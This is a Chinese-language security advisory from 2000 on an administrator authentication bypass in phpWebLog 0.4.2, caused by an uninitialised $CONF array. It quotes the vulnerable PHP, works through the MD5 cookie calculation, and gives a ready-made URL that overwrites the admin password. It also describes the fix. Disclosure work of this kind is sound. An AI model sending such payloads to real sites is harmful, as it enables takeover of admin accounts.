首页 -> 安全研究
安全研究
安全漏洞
phpWebLog 管理员认证绕过漏洞
发布日期:2000-12-05
更新日期:2000-12-05
受影响系统:
描述:
Jason Hines phpWebLog 0.4.2
phpWebLog 是一个开放源码的web新闻管理系统。由于存在一个安全问题,用户
可能绕过认证过程获取管理权限。
问题在于common.inc.php中的$CONF没有正确的作为一个数组初始化。
这将允许用户改变它的内容,并导致管理认证被绕过。
有问题的代码:
common.inc.php:
<quote>
/*== read in configuration data ==*/
$sql = "SELECT * FROM T_Config";
$result = @mysql_query($sql,$db);
$nrows = mysql_num_rows($result);
for ($i=0;$i<$nrows;$i++) {
$A = mysql_fetch_array($result);
$CONF[$A["Name"]] = $A["Value"];
}
</quote>
这里$CONF并没有正确的作为一个数组初始化,因此如果我们在URL参数中为
$CONF赋值。所有的数组数值就被转化为最后一条数据数值的第一个字符。
最后一条数据的"Name"="language",如果"Value"设置为"english".则$CONF所
有的数组值都变为'e'.例如:
$CONF["SiteKey"]=...=$CONF["language"] = 'e'
auth.inc.php:
<quote>
} elseif (!F_isAdmin()) {
include("../include/header.inc.php");
if (!empty($warn)) {
F_logAccess("Failed login");
F_notice("Invalid password. Try again.");
}
(...)
(管理认证通过)
</quote>
snip of common.inc.php:
<quote>
function F_isAdmin() {
global $HTTP_COOKIE_VARS,$CONF;
$name = md5($CONF["SiteKey"] . "_admin");
#echo $HTTP_COOKIE_VARS[$name];
#echo crypt("admin",$CONF["SiteKey"]);
return ($HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"])) ? 1 :
0);
}
</quote>
我们看到认证是基于
$HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"]))
是否匹配的。
因此我们只需要计算
md5("<language的第一个字符>_admin")数值
md5(rot13("<language的第一个字符>"))数值
如果language的值为"english",我们只需要计算:md5("e_admin")和md5(rot13("e"))
提交认证信息的CGI: submit.php:
<quote>
case "config-extend":
$tmp = urlencode("Changes Saved.");
if (!empty($Passwd) || !empty($Passwd2)) {
if ($HTTP_POST_VARS["Passwd"]==$HTTP_POST_VARS["Passwd2"]) {
$sql = "UPDATE T_Config set ";
$sql .= "Value = '" .
md5($HTTP_POST_VARS["Passwd"]) . "' ";
$sql .= "WHERE Name = 'Passwd'";
$RET = @mysql_query($sql,$db);
(...)
</quote>
根据上面所作的计算,如果使用"english"作为"language"的值,可以提交下列的
URL:
http://phpweblog.vuln.site/submit.php?CONF=anything&HTTP_COOKIE_VARS[7f15a2e
7f0a543eacb3efbd098ced7f2]=4b43b0aee35624cd95b910189b3dc231&what=config-exte
nd&HTTP_POST_VARS[Passwd]=my_pass&HTTP_POST_VARS[Passwd2]=my_pass&Passwd=my_pas
s&Passwd2=my_pass
忽略掉错误信息,用户可以直接修改管理口令。
<*来源:Joao Gouveia (cercthar@teleweb.pt) *>
建议:
临时解决方法:
NSFOCUS建议您在没有升级版本之前,按照漏洞发现者的方法来临时解决问题:
在 common.inc.php中下列语句:
<quote>
for ($i=0;$i<$nrows;$i++) {
$A = mysql_fetch_array($result);
$CONF[$A["Name"]] = $A["Value"];
}
</quote>
之前添加一条初始化代码:
$CONF = array();
并且一定要改变缺省的"SiteKey"的值。
Always remember to change your default "SiteKey".
厂商补丁:
暂无
浏览次数:4164
严重程度:0(网友投票)
绿盟科技给您安全的保障